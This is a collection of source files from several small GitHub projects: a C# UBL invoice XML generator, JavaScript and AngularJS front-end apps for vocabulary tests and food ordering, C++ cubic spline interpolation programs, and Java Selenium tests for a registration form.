oAccountingSupplyParty_Party_PostalAddress_CityName.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_Sender_InvoiceAddress_Line3"]);
oAccountingSupplyParty_Party_PostalAddress.AppendChild(oAccountingSupplyParty_Party_PostalAddress_CityName);
// cbc:PostalZone
XmlNode oAccountingSupplyParty_Party_PostalAddress_PostalZone = oXML.CreateElement("cbc", "PostalZone", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oAccountingSupplyParty_Party_PostalAddress_PostalZone.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_Sender_InvoiceAddress_Line2"]);
oAccountingSupplyParty_Party_PostalAddress.AppendChild(oAccountingSupplyParty_Party_PostalAddress_PostalZone);
// cac:Country
XmlNode oAccountingSupplyParty_Party_PostalAddress_Country = oXML.CreateElement("cac", "Country", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oAccountingSupplyParty_Party_PostalAddress.AppendChild(oAccountingSupplyParty_Party_PostalAddress_Country);
// cbc:IdentificationCode
XmlNode oAccountingSupplyParty_Party_PostalAddress_Country_IdentificationCode = oXML.CreateElement("cbc", "IdentificationCode", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oAccountingSupplyParty_Party_PostalAddress_Country_IdentificationCode.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_Sender_InvoiceAddress_Line4"]);
oAccountingSupplyParty_Party_PostalAddress_Country.AppendChild(oAccountingSupplyParty_Party_PostalAddress_Country_IdentificationCode);
// cbc:Name
XmlNode oAccountingSupplyParty_Party_PostalAddress_Country_Name = oXML.CreateElement("cbc", "Name", "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2");
oAccountingSupplyParty_Party_PostalAddress_Country_Name.InnerText = String.Format("{0}", ds.Tables[0].Rows[0]["INVOICE_Final_Header_Sender_InvoiceAddress_Line4"]);
oAccountingSupplyParty_Party_PostalAddress_Country.AppendChild(oAccountingSupplyParty_Party_PostalAddress_Country_Name);
// cac:PartyTaxScheme
XmlNode oAccountingSupplyParty_PartyTaxScheme = oXML.CreateElement("cac", "PartyTaxScheme", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oAccountingSupplyParty_Party.AppendChild(oAccountingSupplyParty_PartyTaxScheme);
// cbc:CompanyID
// cac:TaxScheme
// cbc:ID
// cac:PartyLegalEntity
XmlNode oAccountingSupplyParty_PartyLegalEntity = oXML.CreateElement("cac", "PartyLegalEntity", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oAccountingSupplyParty_Party.AppendChild(oAccountingSupplyParty_PartyLegalEntity);
// cbc:RegistrationName
// cbc:CompanyID
// cac:RegistrationAddress
// cbc:CityName
// cac:Country
// cbc:IdentificationCode
// cbc:Name
// cac:Contact
XmlNode oAccountingSupplyParty_Contact = oXML.CreateElement("cac", "Contact", "urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2");
oAccountingSupplyParty_Party.AppendChild(oAccountingSupplyParty_Contact);
// cbc:Name
// cbc:Telephone
// cbc:ElectronicMail
//determine folder / path
sPath = String.Format(@"c:\temp\{0}.xml", sInvoiceNumber);
//save xml to folder
oXML.Save(sPath);
this.richTextBox1.Text = oXML.InnerXml.Replace(">",">" + Environment.NewLine);
//log stuff - queue etc
}
catch (Exception)
{
throw;
}
}
}
}
| e0b9e5bcddf7b9f292de047dc542a6d625a3b29d | [
"C#"
] | 1 | C# | benpieper/TestXML | 5996852f143b817f7bd9dd2fbf106861b19daf16 | 83aabd157cf603f7349ddf92db91e0e774931092 |
refs/heads/main | <file_sep>
let setLengthBtn = document.getElementById('setLengthBtn')
setLengthBtn.addEventListener('click', () => setRangeLength())
function setRangeLength() {
let rangeWrap = document.getElementById('rangeWrap')
let minRangeInput = document.createElement('input')
minRangeInput.setAttribute("type", "number")
minRangeInput.setAttribute("id", "minRangeInput")
minRangeInput.setAttribute("min", "1")
let linePtag = document.createElement('p')
let linePtagTextnode = document.createTextNode('~')
let maxRangeInput = document.createElement('input')
maxRangeInput.setAttribute("type", "number")
maxRangeInput.setAttribute("id", "maxRangeInput")
rangeWrap.appendChild(minRangeInput)
rangeWrap.appendChild(linePtag)
rangeWrap.appendChild(linePtagTextnode)
rangeWrap.appendChild(maxRangeInput)
}
// testfunction()
// make numbers random
let minInRange = 1
let maxInRange = 40
let amountsInRange = 15
function getRandomNums(min, max, length) {
// console.log(length)
let selectedNumsinRange = []
for (let l = 0; l < length; l++) {
// let randomNums = Math.random() * max - min + min;
let randomNums = Math.floor(Math.random() * (max - min + 1) + min)
selectedNumsinRange.push(Math.round(randomNums))
}
// console.log(selectedNumsinRange)
return selectedNumsinRange
}
// make a test btn
let makeATestBtn = document.getElementById('makeATestBtn')
makeATestBtn.addEventListener("click", () => makeATest())
function makeATest() {
let textbooks = document.getElementById('textbooks').value
if (textbooks === "Target1900") {
// alert("makeATestBtnTarget1900")
console.log("makeATestBtnTarget1900")
return makeATarget1900Test()
} else if (textbooks === "systanPhrase") {
alert("makeATestBtnsystanPhrase")
return makeASystanPhraseTest()
}
}
function setRange() {
let textbooks = document.getElementById('textbooks').value
let minRangeInputValue = document.getElementById('minRangeInput').value
let maxRangeInputValue = document.getElementById('maxRangeInput').value
let lengthInput = document.getElementById('lengthInput').value
// makeATarget1900Test()
}
<file_sep>"use strict";
let makeATarget1900Test;
const getTargetJson = async () => {
await
fetch("./target.json")
.then(function (resp) {
return resp.json();
})
.then(function (data) {
let originaltarget = data.target1900
// console.log(data.target1900)
// originaltarget.forEach(index => {
// let num = index.number
// let eng = index.eng
// let jpn = index.jpn;
// // console.log(index[0])
// });
let makeATestBtn = document.getElementById('makeATestBtn')
makeATestBtn.addEventListener("click", () => makeATarget1900Test())
// console.log(originaltarget)
function makeATarget1900Test() {
// alert(originaltarget)
console.log(originaltarget)
originaltarget.forEach((item, length) => {
let num = item.number
let eng = item.eng
let jpn = item.jpn;
if (num < 10) {
let createTr = document.createElement('tr')
createTr.setAttribute("class", "row")
let createTdNum = document.createElement('td')
let createTdNumtextnode = document.createTextNode(length + 1)
createTdNum.appendChild(createTdNumtextnode)
let createTdIndex = document.createElement('td')
let createTdIndextextnode = document.createTextNode(num)
createTdIndex.appendChild(createTdIndextextnode)
let createTdEng = document.createElement('td')
let createTdEngtextnode = document.createTextNode(eng)
createTdEng.appendChild(createTdEngtextnode)
let table = document.getElementById('table')
table.appendChild(createTr)
createTr.appendChild(createTdNum)
createTr.appendChild(createTdIndex)
createTr.appendChild(createTdEng)
}
});
}
return makeATarget1900Test()
})
this.makeATarget1900Test = makeATarget1900Test;
}
console.log(getTargetJson(data))
// this.makeATarget1900Test = makeATarget1900Test;
<file_sep>"use strict";
const getSystanPhraseJson = async () => {
await
fetch("./systanPhrase.json")
.then(function (resp) {
return resp.json();
})
.then(function (data) {
const originalsystanPhrase = data.systanPhrase
// console.log(originalsystanPhrase)
function makeASystanPhraseTest(){
}
})
}
function makeASystanPhraseTest(){
alert('makeASystanPhraseTest')
} | 7f0cf07dcabb31255e6bcce004480d115edb9a2a | [
"JavaScript"
] | 3 | JavaScript | Queenshiba/vocabularytestmaker | b12f0a3cd807795202bef075a2576f2c8a1fe919 | 13c440fe1db32001cd5c6b9b03880766b88a27c8 |
refs/heads/master | <repo_name>NavihSaid/Cotabox<file_sep>/nbproject/project.properties
auxiliary.org-netbeans-modules-javascript-nodejs.enabled=true
auxiliary.org-netbeans-modules-javascript-nodejs.start_2e_file=main.js
file.reference.-CotaBox=.
file.reference.Cotabox-public=public
file.reference.CotaBox-src=src
file.reference.src-public=src/public
files.encoding=UTF-8
site.root.folder=${file.reference.CotaBox-src}
source.folder=${file.reference.-CotaBox}
<file_sep>/src/public/js/funcao_chart.js
<script>
alert('teste');
</script>
| d5521015b648e6053d887349efa33418ce9c7fa1 | [
"JavaScript",
"INI"
] | 2 | INI | NavihSaid/Cotabox | c3e617883f2601818beb069b2d0bbda2029fc239 | b44f37f77abf6f36aa3580fcdbfba9719006adc9 |
refs/heads/master | <file_sep>package com.jamindy.concurrent.readwritelock.data;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReadWriteLock;
import java.util.concurrent.locks.ReentrantLock;
import java.util.concurrent.locks.ReentrantReadWriteLock;
/**
* Created by admin on 15-5-17.
*/
public class ReentrantLockData implements Data{
private final char[] buffer;
// private final ReadWriteLock lock = new ReentrantReadWriteLock();
// private Lock readLock =lock.readLock();
// private Lock writeLock = lock.writeLock();
private final Lock lock = new ReentrantLock();
public ReentrantLockData(int size) {
this.buffer = new char[size];
for(int i=0;i<size;i++){
buffer[i]='=';
}
}
public String read() throws InterruptedException{
// readLock.lock();
lock.lock();
try {
return doRead();
} finally {
// readLock.unlock();
lock.unlock();
}
}
public void write(char c) throws InterruptedException{
// writeLock.lock();
lock.lock();
try {
doWrite(c);
} finally {
// writeLock.unlock();
lock.unlock();
}
}
private String doRead(){
StringBuilder result = new StringBuilder();
for(char c : buffer){
result.append(c);
}
sleep(1);
return result.toString();
}
private void doWrite(char c){
for(int i=0;i<buffer.length;i++){
buffer[i]=c;
sleep(1);
}
}
private void sleep(int time){
try {
Thread.sleep(time);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
<file_sep>package com.jamindy.concurrent.threadlocal;
import java.util.Random;
/**
* Created by admin on 15-4-21.
*/
public class ConsumeClientB implements Consumer {
private ThreadLocal<Integer> leftNumThreadLocal = new ThreadLocal<Integer>(){
@Override
protected Integer initialValue() {
return 30;
}
};
@Override
public int consume() {
int orgLeftNum = leftNumThreadLocal.get();
Random random = new Random(System.currentTimeMillis());
try {
Thread.sleep(random.nextInt(3));
} catch (InterruptedException e) {
e.printStackTrace();
}
orgLeftNum = orgLeftNum -1;
leftNumThreadLocal.set(orgLeftNum);
return leftNumThreadLocal.get();
}
public static void main(String[] args){
Consumer consumer = new ConsumeClientB();
Thread thread1 = new Thread(new ComsumeThread(consumer));
Thread thread2 = new Thread(new ComsumeThread(consumer));
Thread thread3 = new Thread(new ComsumeThread(consumer));
thread1.start();
thread2.start();
thread3.start();
}
}
<file_sep>package com.jamindy.concurrent.threadlocal;
import java.util.Random;
/**
* Created by admin on 15-4-21.
*/
public class ConsumeClientA implements Consumer {
private static int leftNum = 30;
@Override
public int consume() {
int orgLeftNum = leftNum;
Random random = new Random(System.currentTimeMillis());
try {
Thread.sleep(random.nextInt(3));
} catch (InterruptedException e) {
e.printStackTrace();
}
orgLeftNum = orgLeftNum -1;
leftNum = orgLeftNum;
return leftNum;
}
public static void main(String[] args){
Consumer consumer = new ConsumeClientA();
Thread thread1 = new Thread(new ComsumeThread(consumer));
Thread thread2 = new Thread(new ComsumeThread(consumer));
Thread thread3 = new Thread(new ComsumeThread(consumer));
thread1.start();
thread2.start();
thread3.start();
}
}
<file_sep>package com.jamindy.concurrent.threadlocal;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
/**
* Created by admin on 15-4-21.
*/
public class MyThreadLocal<T> {
private Map<Thread,T> myThreadLocalMap = new ConcurrentHashMap<Thread, T>();
public void set(T value){
myThreadLocalMap.put(Thread.currentThread(),value);
}
public T get(){
Thread curThread = Thread.currentThread();
T value;
if(!myThreadLocalMap.containsKey(curThread)){
value = initialValue();
myThreadLocalMap.put(curThread,value);
}else {
value = myThreadLocalMap.get(curThread);
}
return value;
}
public void remove(){
Thread curThread = Thread.currentThread();
if(myThreadLocalMap.containsKey(curThread)){
myThreadLocalMap.remove(curThread);
}
}
protected T initialValue(){
return null;
}
}
<file_sep>package com.jamindy.concurrent.threadlocal;
/**
* Created by admin on 15-4-21.
*/
public class ConsumeClientD implements Consumer {
private MyThreadLocal<Integer> leftNumThreadLocal = new MyThreadLocal<Integer>(){
@Override
protected Integer initialValue() {
return 30;
}
};
@Override
public int consume() {
leftNumThreadLocal.set(leftNumThreadLocal.get()-1);
return leftNumThreadLocal.get();
}
public static void main(String[] args){
Consumer consumer = new ConsumeClientB();
Thread thread1 = new Thread(new ComsumeThread(consumer));
Thread thread2 = new Thread(new ComsumeThread(consumer));
Thread thread3 = new Thread(new ComsumeThread(consumer));
thread1.start();
thread2.start();
thread3.start();
}
}
<file_sep># concurrent-learning
<file_sep>package com.jamindy.concurrent.readwritelock;
import com.jamindy.concurrent.readwritelock.data.Data;
/**
* Created by admin on 15-5-17.
*/
public class WriteThread extends Thread{
private Data data;
private String str;
private int index = 0;
public WriteThread(Data data, String str) {
this.data = data;
this.str = str;
}
@Override
public void run() {
try {
while(true){
char c = next();
data.write(c);
}
} catch (InterruptedException e) {
e.printStackTrace();
}
}
private char next(){
char c = str.charAt(index);
index++;
if(index >=str.length()){
index = 0;
}
return c;
}
}
<file_sep>package com.jamindy.concurrent.readwritelock.data;
/**
* Created by admin on 15-5-17.
*/
public class SyncData implements Data{
private final char[] buffer;
public SyncData(int size) {
this.buffer = new char[size];
for(int i=0;i<size;i++){
buffer[i]='=';
}
}
public synchronized String read(){
StringBuilder result = new StringBuilder();
for(char c : buffer){
result.append(c);
}
sleep(1);
return result.toString();
}
public synchronized void write(char c){
for(int i=0;i<buffer.length;i++){
buffer[i]=c;
sleep(1);
}
}
private void sleep(int time){
try {
Thread.sleep(time);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
<file_sep>package com.jamindy.concurrent.readwritelock.data;
/**
* Created by admin on 15-5-17.
*/
public interface Data {
public String read() throws InterruptedException;
public void write(char c) throws InterruptedException;
}
| 4842afdd0582b57f50ba20f0ed4bc8f72470f85d | [
"Markdown",
"Java"
] | 9 | Java | jamindy/concurrent-learning | 6a18ea01deaafb7d72b56e84dd1a24c3dd622641 | be0b1bd47b3f9551922da668149c58502da69bee |
refs/heads/master | <file_sep># Order Me
A prototype for a food ordering application using [AngularJS](http://angularjs.org) works on `localStorage`.
An online demo is hosted on [Heroku](http://order-me.herokuapp.com/).
## Technical Details
### Used Tools
* [AngularJS](http://angularjs.org)
* [Twitter Bootstrap](http://getbootstrap.com)
* [Yeoman](http://yeoman.io)
### Angular Modules
* [ngRoute](http://docs.angularjs.org/api/ngRoute)
* [ngAnimate](http://docs.angularjs.org/api/ngAnimate)
* [angular-flash](https://github.com/wmluke/angular-flash)
## Deployment
### Requirnments
* Terminal
* [NodeJS](http://nodejs.org/) & [NPM](https://npmjs.org/) installed.
### Option 1
* Use any webserver to host the `dist/` directory
* eg. Run the build in PHP 5.4+ server `php -S localhost:8000`
### Option 2
* Use the NodeJS server `web.js`
* Clone/download the repository and `cd` into it.
* Run `npm install --production` to install application dependencies
* Run `node web.js` to launch web server
* Navigate your browser to `http://localhost:5000`
## Development
### Requirnments
* [NodeJS](http://nodejs.org/) & [NPM](https://npmjs.org/) installed.
* [GruntJS](http://gruntjs.com/) & [Bower](http://bower.io/) which you can install by installing [Yeoman](http://yeoman.io/gettingstarted.html) directly.
### Steps
* Clone/download the repo and `cd` into it.
* Install NodeJS dependencies `npm install`
* Install app dependencies listed in bower.json `bower install` which will download the dependencies to `app/bower_components` directory.
* Run `grunt serve` to open in browser with livereload.
* To Build run `grunt build` which will run the grunt build script tp minify and concatnate scripts/styles and save it in the `dist/` directory.
* App Files are located in the `app/` directory.<file_sep>'use strict';
angular.module('orderMeApp')
.controller('OrdersCtrl', [ '$scope', '$store', 'flash', function ($scope, $store, flash) {
// Get Orders List
$scope.orders = $store.get('orders');
// Get restaurants list
$scope.restaurants = $store.get('restaurants');
// Bind localStorage to scope ( wrapper for $scope.$watch )
$store.bind( $scope, 'orders' );
// Bind localStorage to scope ( wrapper for $scope.$watch )
$store.bind( $scope, 'restaurants' );
// If no orders make sure it's an empty array
// to be able to generate new ids from the array length
if( !$scope.orders ) {
$scope.orders = [];
}
/*
* Generate new Id
* @notes This shouldn't happen if using a webservice,
* the webservice will assign new ids
*/
var newId = function () {
return $scope.orders.length + 1;
};
/*
* Add New Restaurant
*/
$scope.save = function () {
// Generate new id and assign it
$scope.newOrder.id = newId();
// Save Order Date
$scope.newOrder.date = new Date();
// Push new order in array
$scope.orders.push($scope.newOrder);
// Show flash message
flash.success = 'New order was placed successfully.';
};
/*
* Reorder Old Order
*/
$scope.reorder = function (oldOrder) {
// Create empty order
$scope.newOrder = {};
// Set a reorder flag
$scope.newOrder.reorder = true;
// Copy Restaurant and Order Details only from old order.
$scope.newOrder.restaurant = oldOrder.restaurant;
$scope.newOrder.details = oldOrder.details;
// Also set the form to dirty to be able
// to submit without changing anything
$scope.orderForm.$setDirty();
};
}]);
| 3ae6a84d37ebe9796d07b069342271babd606704 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | jucasoliveira/Order-Me | c55f7f7c5c78d4f12ca5d476e4c2e5511c7f7efc | 170da26f384dd83cb1467e18b73d311cc8ee4763 |
refs/heads/master | <file_sep># Cubic-spline
Generation of Spirals and signatire using cubic spline
<file_sep>/* SCIENTIFIC COMPUTING
MIDSEM ASSIGNMENT
****************************************************************************************
NAME - <NAME>
ROLL NUMBER - 130123007
****************************************************************************************
*/
#include <iostream>
#include<bits/stdc++.h> // library to reduce the time
#include<cmath> //library to use the modf function - to extract the fractional part of a number
using namespace std;
int main()
{
int ch;
char shift;
ifstream fin; // to access the .csv file for reading the extracted points
ofstream fout; // to output the points in a .csv file inorder to plot the image
cout<<"\nEnter the choice : 1) Spiral curve 2) Signature1 (requires less than 20 points) 3) Signature2 (requires more than 20 points) :";
cin >>ch;
int n; // number of points taken
if(ch==1)
{
fin.open("q1data.csv"); //opening the .csv file to read the points
fout.open("q1ans.csv");
cout<<"\nEnter the total number of points extracted : ";
cin>>n;
}
if(ch==2)
{
fin.open("q2data.csv");
fout.open("q2ans.csv");
cout<<"\nEnter the total number of points extracted : ";
cin>>n;
}
if(ch==3)
{
fin.open("q3data.csv");
fout.open("q3ans.csv");
cout<<"\nEnter the total number of points extracted : ";
cin>>n;
}
float betay[n], betax[n]; //variables to store intermediate values
float check;
float xpoint[n+1], ypoint[n+1], par[n+1], h[n+1]; //par is the parameter
float l[n], mu[n], zx[n], zy[n]; //variables to store intermediate values
float bx[n], by[n], cx[n], cy[n], dx[n], dy[n]; // b,c and d values for X and Y
float xout[n*10], yout[n*10]; // final points to plot the image
float s[n*10];
// int n=19;
for(int i=0; i<n+1; i++)
{
par[i]= 0.0 + i;
h[i]=1.0; // 1 since h[i]=par[i+1]-par[i] is always equal to 1
}
for(int i=0; i<n+1; i++)
{
fin>> xpoint[i]; //reading the x coordinates of the image from a .csv file
fin>> shift; //to read the commas or space between cooordinates
fin>> ypoint[i]; //reading the y coordinates
}
for(int i=1; i<n; i++)
{
betay[i]= 3*(ypoint[i+1]-2*ypoint[i]+ypoint[i-1]); //calculating betax and betay for X and Y in the same loop
betax[i]= 3*(xpoint[i+1]-2*xpoint[i]+xpoint[i-1]);
}
l[0]= 1.0; //initialising the internediate variables
mu[0]= 0.0;
zy[0]= 0.0;
zx[0]= 0.0;
for(int i=1; i<n; i++) //loop to calculate the intermediate values
{
l[i]= 2*(par[i+1]-par[i-1]) - (mu[i-1]);
mu[i]= (1/l[i]);
zx[i]= (betax[i]-(1*zx[i-1]))/l[i];
zy[i]= (betay[i]-(1*zy[i-1]))/l[i];
}
l[n]=1.0;
zx[n]=0.0;
zy[n]=0.0;
cx[n]=0.0;
cy[n]=0.0;
for(int i=(n-1); i>=0; i--) //loop to calculate the b,c and d values for X and Y respectively
{
cx[i]= zx[i] - (mu[i]*cx[i+1]);
bx[i]= (xpoint[i+1]-xpoint[i]) - (cx[i+1]+2*cx[i])/3;
dx[i]= (cx[i+1]-cx[i])/3;
cy[i]= zy[i] - (mu[i]*cy[i+1]);
by[i]= (ypoint[i+1]-ypoint[i]) - (cy[i+1]+2*cy[i])/3;
dy[i]= (cy[i+1]-cy[i])/3;
}
s[0]=0.0;
for(int i=1; i<((n)*10); i++) // dividing the par intervals into 10 parts for the final plotting
{
s[i]= 0.1*(i-1);
}
int temp;
for(int i=0; i< (n*10); i++)
{
temp= int(s[i]);
// cout<<temp<<endl;
check=temp;
float tp=modf(s[i],&check); //using modf function to find the fractional part (cmath.h)
//tp= s[i]- temp;
//cout<<tp<<endl;
for(int j=0;j<n;j++)
if(temp==j)
{
xout[i]= (dx[temp]*pow(tp,3))+ (cx[temp]*pow(tp,2))+ (bx[temp]*pow(tp,1))+ xpoint[temp];
yout[i]= (dy[temp]*pow(tp,3))+ (cy[temp]*pow(tp,2))+ (by[temp]*pow(tp,1))+ ypoint[temp];
}
}
for(int i=0; i<(n-2)*10; i++)
{
fout<< xout[i]<<","<< -1*yout[i]<<endl;
}
if(ch==1)
cout<<"\n The coordinates to plot the spiral curve using cubic spline are put in q1ans.csv";
if (ch==2)
cout<<"\n The coordinates to plot the signature1 using cubic spline are put in q2ans.csv";
if (ch==3)
cout<<"\n The coordinates to plot the signature2 using cubic spline are put in q2ans.csv";
fin.close();
fout.close();
return 0;
}
<file_sep>#include <iostream>
#include<bits/stdc++.h>
#include<cmath>
using namespace std;
int main()
{
//file handling part
ifstream fin;
ofstream fout;
fin.open("signdata.csv");
fout.open("signans.csv");
//Taking inputs for spiral curve
//Inputs of form x(t) and y(t) where t is a parameter
cout<< "This is a solution for cubic spline interpolation problem for a spiral curve."<<"\n"<< "(20 points)"<<endl;
int n=12; //Number of points
double x[n+1], y[n+1];
// defining parameter array t
double t[n+1];
for(int i=0; i<n+1; i++)
{
t[i]= 0.0 + i;
}
char buff; // a buffer character just to shift to next column
for(int i=0; i<n+1; i++)
{
fin>> x[i];
fin>> buff;
fin>> y[i];
}
/* //demo case for y
for(int i=0; i<n+1; i++)
{
y[i]= t[i]*t[i];
//cout<<y[i]<<endl;
}
// demo case for x
for(int i=0; i<n+1; i++)
{
x[i]= t[i]*t[i]*t[i];
//cout<<y[i]<<endl;
} */
//Applying cubic spline algorithm on y
double hy[n];
for(int i=0; i<(n); i++)
{
hy[i]= t[i+1]-t[i];
//cout<< hy[i]<< endl;
}
double alphay[n];
for(int i=1; i<n; i++) //alphay[0] is not required
{
alphay[i]= (3/hy[i])*(y[i+1]-y[i]) - (3/hy[i-1])*(y[i]-y[i-1]);
//cout<< alphay[i]<< endl;
}
double ly[n], muy[n], zy[n];
ly[0]= 1.0;
muy[0]= 0.0;
zy[0]= 0.0;
for(int i=1; i<n; i++)
{
ly[i]= 2*(t[i+1]-t[i-1]) - (hy[i-1]*muy[i-1]);
//cout<<ly[i]<<endl;
muy[i]= (hy[i]/ly[i]);
//cout<< muy[i]<< endl;
zy[i]= (alphay[i]-(hy[i-1]*zy[i-1]))/ly[i];
//cout<< zy[i]<<endl;
}
ly[n]=1.0;
zy[n]=0.0;
double by[n], cy[n], dy[n];
cy[n]=0.0;
for(int i=(n-1); i>=0; i--)
{
cy[i]= zy[i] - (muy[i]*cy[i+1]);
//cout<< cy[i] << endl;
by[i]= ((y[i+1]-y[i])/(hy[i])) - (hy[i]*(cy[i+1]+2*cy[i]))/3;
//cout<< by[i]<<endl;
dy[i]= (cy[i+1]-cy[i])/(3*hy[i]);
//cout<< dy[i]<< endl;
}
double ay[n];
for(int i=0; i<n; i++)
{
ay[i]= y[i];
//cout<<ay[i]<<endl;
}
// Testing
for(int i=0; i<n; i++)
{
//cout<< ay[i] <<" "<< by[i]<< " "<< cy[i]<< " "<< dy[i]<<" "<< hy[i]<< endl;
}
//Applying cubic spline algorithm on x
double hx[n];
for(int i=0; i<(n); i++)
{
hx[i]= t[i+1]-t[i];
//cout<< hx[i]<< endl;
}
double alphax[n];
for(int i=1; i<n; i++) //alphax[0] is not required
{
alphax[i]= (3/hx[i])*(x[i+1]-x[i]) - (3/hx[i-1])*(x[i]-x[i-1]);
//cout<< alphax[i]<< endl;
}
double lx[n], mux[n], zx[n];
lx[0]= 1.0;
mux[0]= 0.0;
zx[0]= 0.0;
for(int i=1; i<n; i++)
{
lx[i]= 2*(t[i+1]-t[i-1]) - (hx[i-1]*mux[i-1]);
//cout<<lx[i]<<endl;
mux[i]= (hx[i]/lx[i]);
//cout<< mux[i]<< endl;
zx[i]= (alphax[i]-(hx[i-1]*zx[i-1]))/lx[i];
//cout<< zx[i]<<endl;
}
lx[n]=1.0;
zx[n]=0.0;
double bx[n], cx[n], dx[n];
cx[n]=0.0;
for(int i=(n-1); i>=0; i--)
{
cx[i]= zx[i] - (mux[i]*cx[i+1]);
//cout<< cx[i] << endl;
bx[i]= ((x[i+1]-x[i])/(hx[i])) - (hx[i]*(cx[i+1]+2*cx[i]))/3;
//cout<< bx[i]<<endl;
dx[i]= (cx[i+1]-cx[i])/(3*hx[i]);
//cout<< dx[i]<< endl;
}
double ax[n];
for(int i=0; i<n; i++)
{
ax[i]= x[i];
//cout<<ax[i]<<endl;
}
// Testing
for(int i=0; i<n; i++)
{
//cout<< ax[i] <<" "<< bx[i]<< " "<< cx[i]<< " "<< dx[i]<<" "<< hx[i]<< endl;
}
//writing in spiralans.csv
float s[n*100]; // helping variable
s[0]=0.0;
for(int i=1; i<((n)*100); i++)
{
s[i]= s[i-1]+ 0.01;
//cout<<s[i]<<endl;
}
double xans[n*100], yans[n*100];
int intermediate;
for(int i=0; i< (n*100); i++)
{
intermediate= int(s[i]);
float tp; // a temporary variable for computation
tp= s[i]- intermediate;
//cout<< tp<< endl;
//cout<< intermediate<<endl;
xans[i]= (dx[intermediate]*(tp*tp*tp))+ (cx[intermediate]*(tp*tp))+ (bx[intermediate]*tp)+ ax[intermediate];
yans[i]= (dy[intermediate]*(tp*tp*tp))+ (cy[intermediate]*(tp*tp))+ (by[intermediate]*tp)+ ay[intermediate];
}
for(int i=0; i<(n-2)*100; i++)
{
fout<< xans[i]<<","<< yans[i]<<endl;
}
fin.close();
fout.close();
return 0;
}
| 546a9e297d4e238831c5061945537c25e40d303a | [
"Markdown",
"C++"
] | 3 | Markdown | anuragh706/Cubic-spline | d9886469c6c0f988e8370c7b739b6b9fab453b53 | 6179618f8e5ec54bb4bb61cd906a31b8e6e67809 |
refs/heads/master | <repo_name>YuraPuzyrev/TestNgWork<file_sep>/src/test/java/org/itstep/qa/tasks/DevByTask.java
package org.itstep.qa.tasks;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.chrome.ChromeDriver;
import org.testng.Assert;
import org.testng.annotations.AfterClass;
import org.testng.annotations.BeforeClass;
import org.testng.annotations.BeforeMethod;
import org.testng.annotations.Test;
public class DevByTask {
WebDriver driver;
@BeforeClass
public void initSetDriver(){
System.setProperty("webdriver.chrome.driver", "src\\main\\resources\\chromedriver.exe");
driver = new ChromeDriver();
}
@BeforeMethod
public void startUp(){
driver.navigate().to("https://dev.by/registration");
WebElement pageHeader = driver.findElement(By.cssSelector(".header-logo"));
Assert.assertTrue(pageHeader.isDisplayed(), "Окно регистрации не открывается");
}
@AfterClass
public void closeBrowser(){
driver.manage().deleteAllCookies();
driver.quit();
}
@Test
public void openPage(){
Assert.assertTrue(driver.findElement(By.id("user_username")).isDisplayed(), "Поле юзернейма не отображается");
Assert.assertTrue(driver.findElement(By.id("user_email")).isDisplayed(), "Поле емейла не отображается");
Assert.assertTrue(driver.findElement(By.id("user_password")).isDisplayed(), "Поле пароля не отображается");
Assert.assertTrue(driver.findElement(By.id("user_password_confirmation")).isDisplayed(), "Поле подтверждения пароля не отображается");
Assert.assertTrue(driver.findElement(By.id("user_first_name")).isDisplayed(), "Поле имени не отображается");
Assert.assertTrue(driver.findElement(By.id("user_last_name")).isDisplayed(), "Поле фамилии не отображается");
Assert.assertTrue(driver.findElement(By.cssSelector(".select2-chosen")).isDisplayed(), "Всплывающее окно компаний не отображается");
Assert.assertTrue(driver.findElement(By.id("user_agreement")).isEnabled(), "Чекбокс подтверждения не отображается");
Assert.assertTrue(driver.findElement(By.cssSelector(".l-for-r-avatar")).isDisplayed(), "Окно загрузки аватара не отображается");
Assert.assertTrue(driver.findElement(By.name("commit")).isDisplayed(), "Кнопка подтверждения не отображается");
}
@Test
public void passConfirm(){
WebElement pass = driver.findElement(By.id("user_password"));
Assert.assertTrue(pass.isDisplayed(), "Поле пароля не отображается");
WebElement confirm = driver.findElement(By.id("user_password_confirmation"));
Assert.assertTrue(confirm.isDisplayed(), "Поле подтверждения пароля не отображается");
pass.sendKeys("<PASSWORD>");
confirm.sendKeys("<PASSWORD>");
WebElement formError = driver.findElement(By.xpath("//*[@id=\"new_user\"]/div[5]/div/div/div[1]/div[1]"));
Assert.assertTrue(formError.isDisplayed(), "Ошибка несовпадения паролей не отображается");
Assert.assertEquals("* Поля не совпадают", formError.getText());
}
@Test
public void emailCheck(){
WebElement email = driver.findElement(By.id("user_email"));
Assert.assertTrue(email.isDisplayed(), "Поле емейла не отображается");
email.sendKeys("test");
WebElement formError = driver.findElement(By.xpath("//*[@id=\"new_user\"]/div[4]/div/div/div/div[1]"));
Assert.assertTrue(formError.isDisplayed(), "Ошибка поля емейла не отображается");
Assert.assertEquals("* Неверный формат email", formError.getText());
}
@Test
public void usernameCheck(){
WebElement username = driver.findElement(By.id("user_username"));
Assert.assertTrue(username.isDisplayed(), "Поле юзернейма не отображается");
username.sendKeys("<PASSWORD>");
WebElement formError = driver.findElement(By.xpath("//*[@id=\"new_user\"]/div[3]/div/div/div/div[1]"));
Assert.assertTrue(formError.isDisplayed(), "Ошибка юзернейма не отображается");
Assert.assertEquals("* Максимум 16 символа(ов)", formError.getText());
}
@Test
public void errorsAreDisplaing(){
WebElement commit = driver.findElement(By.name("commit"));
Assert.assertTrue(commit.isDisplayed(), "Кнопка подтверждения не отображается");
commit.click();
